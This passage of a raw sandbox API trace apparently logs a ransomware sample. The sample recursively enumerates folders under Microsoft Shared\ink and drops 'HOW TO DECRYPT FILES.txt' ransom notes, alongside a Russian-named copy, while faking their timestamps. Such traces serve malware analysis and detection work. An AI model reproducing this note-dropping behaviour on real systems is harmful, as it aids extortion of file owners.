ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0058.116] FindClose (in: hFindFile=0x4f8270 | out: hFindFile=0x4f8270) returned 1 [0058.116] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0058.116] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.116] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="auxpad.xml") returned 1 [0058.116] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="auxpad.xml") returned 1 [0058.116] lstrcmpiA (lpString1="", lpString2="auxpad.xml") returned -1 [0058.116] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" [0058.116] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\") returned="" [0058.116] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO DECRYPT FILES.txt" [0058.116] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\how to decrypt files.txt")) returned 0xffffffff [0058.116] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0058.119] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.119] CloseHandle (hObject=0x90) returned 1 [0058.120] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", lpString2="auxpad.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" [0058.120] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f84b8, cFileName="keypad", cAlternateFileName="")) returned 1 [0058.120] lstrcmpA (lpString1=".", lpString2="keypad") returned -1 [0058.120] lstrcmpA (lpString1="..", lpString2="keypad") returned -1 [0058.120] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", lpString2="keypad" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad" [0058.120] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8282, cFileName=".", cAlternateFileName="")) returned 0x4f8270 [0058.120] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.120] FindNextFileA (in: hFindFile=0x4f8270, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.120] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.120] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.120] FindNextFileA (in: hFindFile=0x4f8270, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0058.120] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.120] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ea.xml") returned 1 [0058.120] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ea.xml") returned 1 [0058.121] lstrcmpiA (lpString1="", lpString2="ea.xml") returned -1 [0058.121] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\" [0058.121] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\") returned="" [0058.121] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\HOW TO DECRYPT FILES.txt" [0058.121] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\how to decrypt files.txt")) returned 0xffffffff [0058.121] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0058.122] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.122] CloseHandle (hObject=0x94) returned 1 [0058.123] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", lpString2="ea.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" [0058.123] FindNextFileA (in: hFindFile=0x4f8270, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x4f85a8, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0058.123] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.123] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="keypadbase.xml") returned -1 [0058.123] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="keypadbase.xml") returned -1 [0058.123] lstrcmpiA (lpString1="", lpString2="keypadbase.xml") returned -1 [0058.123] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\" [0058.123] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\") returned="" [0058.123] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\HOW TO DECRYPT FILES.txt" [0058.123] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\how to decrypt files.txt")) returned 0x20 [0058.123] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", lpString2="keypadbase.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" [0058.123] FindNextFileA (in: hFindFile=0x4f8270, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x540050, dwReserved1=0x460020, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0058.123] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.124] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="kor-kor.xml") returned -1 [0058.124] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="kor-kor.xml") returned -1 [0058.124] lstrcmpiA (lpString1="", lpString2="kor-kor.xml") returned -1 [0058.124] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\" [0058.124] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\") returned="" [0058.124] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\HOW TO DECRYPT FILES.txt" [0058.124] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\how to decrypt files.txt")) returned 0x20 [0058.124] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", lpString2="kor-kor.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" [0058.124] FindNextFileA (in: hFindFile=0x4f8270, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x540050, dwReserved1=0x460020, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0058.124] FindClose (in: hFindFile=0x4f8270 | out: hFindFile=0x4f8270) returned 1 [0058.124] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0058.124] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.124] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="keypad.xml") returned -1 [0058.124] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="keypad.xml") returned -1 [0058.124] lstrcmpiA (lpString1="", lpString2="keypad.xml") returned -1 [0058.124] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" [0058.125] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\") returned="" [0058.125] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO DECRYPT FILES.txt" [0058.125] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\how to decrypt files.txt")) returned 0x20 [0058.125] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", lpString2="keypad.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" [0058.125] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="main", cAlternateFileName="")) returned 1 [0058.125] lstrcmpA (lpString1=".", lpString2="main") returned -1 [0058.125] lstrcmpA (lpString1="..", lpString2="main") returned -1 [0058.125] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", lpString2="main" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main" [0058.125] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f8282, cFileName=".", cAlternateFileName="")) returned 0x4f8270 [0058.129] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.129] FindNextFileA (in: hFindFile=0x4f8270, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.129] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.129] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.129] FindNextFileA (in: hFindFile=0x4f8270, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0058.129] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.129] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="base.xml") returned 1 [0058.129] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="base.xml") returned 1 [0058.129] lstrcmpiA (lpString1="", lpString2="base.xml") returned -1 [0058.129] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" [0058.129] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\") returned="" [0058.129] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt" [0058.129] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\how to decrypt files.txt")) returned 0xffffffff [0058.129] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0058.131] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.131] CloseHandle (hObject=0x94) returned 1 [0058.131] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", lpString2="base.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" [0058.131] FindNextFileA (in: hFindFile=0x4f8270, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x4f85a0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0058.132] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.132] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="baseAltGr_rtl.xml") returned 1 [0058.132] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="baseAltGr_rtl.xml") returned 1 [0058.132] lstrcmpiA (lpString1="", lpString2="baseAltGr_rtl.xml") returned -1 [0058.132] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" [0058.132] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\") returned="" [0058.132] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt" [0058.132] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\how to decrypt files.txt")) returned 0x20 [0058.132] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", lpString2="baseAltGr_rtl.xml" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" [0058.132] FindNextFileA (in: hFindFile=0x4f8270, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x460020, dwReserved1=0x4c0049, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0058.132] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.132] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="base_altgr.xml") returned 1 [0058.132] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="base_altgr.xml") returned 1 [0058.132] lstrcmpiA (lpString1="", lpString2="base_altgr.xml") returned -1 [0058.132] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft 